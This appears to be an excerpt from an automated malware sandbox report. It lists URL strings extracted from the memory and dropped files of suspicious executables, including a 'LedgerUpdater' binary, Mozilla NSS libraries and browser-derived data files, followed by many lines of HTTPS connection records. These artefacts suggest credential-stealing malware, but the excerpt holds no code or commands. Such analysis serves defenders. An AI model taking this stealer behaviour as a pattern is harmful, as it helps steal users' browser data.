Source: DBFHCGCGDA.exe, 00000009.00000002.1978219901.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/View/MainWindow.xamld
Source: DBFHCGCGDA.exe, 00000009.00000002.1978219901.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/view/mainwindow.baml
Source: DBFHCGCGDA.exe, 00000009.00000002.1978219901.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/view/mainwindow.bamld
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_78.3.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: qlI3ReINCV.exe, qlI3ReINCV.exe, 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: qlI3ReINCV.exe, 00000000.00000002.1990282994.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, qlI3ReINCV.exe, 00000000.00000002.1982602230.000000001B6BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: JDGCFBAF.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_81.3.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_81.3.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: DBFHCGCGDA.exe, 00000009.00000000.1963631785.0000000000A32000.00000002.00000001.01000000.0000000B.sdmp, DBFHCGCGDA.exe.0.dr, LedgerUpdater[1].exe.0.dr	String found in binary or memory: https://api.ipify.orgSSOFTWARE
Source: chromecache_78.3.dr, chromecache_81.3.dr	String found in binary or memory: https://apis.google.com
Source: qlI3ReINCV.exe, 00000000.00000002.1968390990.00000000012AC000.00000004.00000020.00020000.00000000.sdmp, qlI3ReINCV.exe, 00000000.00000002.1985801776.0000000021902000.00000004.00000020.00020000.00000000.sdmp, BFBFBFIIJDAKECAKKJEH.0.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: qlI3ReINCV.exe, 00000000.00000002.1968390990.00000000012AC000.00000004.00000020.00020000.00000000.sdmp, qlI3ReINCV.exe, 00000000.00000002.1985801776.0000000021902000.00000004.00000020.00020000.00000000.sdmp, BFBFBFIIJDAKECAKKJEH.0.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: JDGCFBAF.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: JDGCFBAF.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: JDGCFBAF.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_81.3.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_81.3.dr	String found in binary or memory: https://content.googleapis.com
Source: qlI3ReINCV.exe, 00000000.00000002.1968390990.00000000012AC000.00000004.00000020.00020000.00000000.sdmp, qlI3ReINCV.exe, 00000000.00000002.1985801776.0000000021902000.00000004.00000020.00020000.00000000.sdmp, BFBFBFIIJDAKECAKKJEH.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: qlI3ReINCV.exe, 00000000.00000002.1968390990.00000000012AC000.00000004.00000020.00020000.00000000.sdmp, qlI3ReINCV.exe, 00000000.00000002.1985801776.0000000021902000.00000004.00000020.00020000.00000000.sdmp, BFBFBFIIJDAKECAKKJEH.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: chromecache_81.3.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: JDGCFBAF.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: qlI3ReINCV.exe, 00000000.00000002.1968390990.00000000012AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chp
Source: qlI3ReINCV.exe, 00000000.00000002.1968390990.00000000012AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chpnacl
Source: JDGCFBAF.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: JDGCFBAF.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_78.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_78.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_78.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_78.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: BFBFBFIIJDAKECAKKJEH.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: chromecache_78.3.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_81.3.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_81.3.dr	String found in binary or memory: https://plus.googleapis.com
Source: FBFHJJJDAFBKEBGDGHCGDBKJEC.0.dr	String found in binary or memory: https://support.mozilla.org
Source: FBFHJJJDAFBKEBGDGHCGDBKJEC.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: FBFHJJJDAFBKEBGDGHCGDBKJEC.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: qlI3ReINCV.exe, 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmp, qlI3ReINCV.exe, 00000000.00000003.1864093047.0000000021784000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: qlI3ReINCV.exe, 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmp, qlI3ReINCV.exe, 00000000.00000003.1864093047.0000000021784000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: qlI3ReINCV.exe, 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe
Source: chromecache_81.3.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: qlI3ReINCV.exe, 00000000.00000002.1968390990.00000000012AC000.00000004.00000020.00020000.00000000.sdmp, qlI3ReINCV.exe, 00000000.00000002.1985801776.0000000021902000.00000004.00000020.00020000.00000000.sdmp, BFBFBFIIJDAKECAKKJEH.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: JDGCFBAF.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: qlI3ReINCV.exe, 00000000.00000002.1968390990.00000000012AC000.00000004.00000020.00020000.00000000.sdmp, qlI3ReINCV.exe, 00000000.00000002.1985801776.0000000021902000.00000004.00000020.00020000.00000000.sdmp, BFBFBFIIJDAKECAKKJEH.0.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: qlI3ReINCV.exe, 00000000.00000002.1968390990.00000000012AC000.00000004.00000020.00020000.00000000.sdmp, JDGCFBAF.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_81.3.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_81.3.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chromecache_78.3.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_78.3.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_78.3.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: FBFHJJJDAFBKEBGDGHCGDBKJEC.0.dr	String found in binary or memory: https://www.mozilla.org
Source: qlI3ReINCV.exe, 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: FBFHJJJDAFBKEBGDGHCGDBKJEC.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: qlI3ReINCV.exe, 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: qlI3ReINCV.exe, 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: FBFHJJJDAFBKEBGDGHCGDBKJEC.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: qlI3ReINCV.exe, 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: qlI3ReINCV.exe, 00000000.00000003.1931665702.0000000021B66000.00000004.00000020.00020000.00000000.sdmp, FBFHJJJDAFBKEBGDGHCGDBKJEC.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: FBFHJJJDAFBKEBGDGHCGDBKJEC.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: qlI3ReINCV.exe, 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: qlI3ReINCV.exe, 00000000.00000003.1931665702.0000000021B66000.00000004.00000020.00020000.00000000.sdmp, FBFHJJJDAFBKEBGDGHCGDBKJEC.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: qlI3ReINCV.exe, 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
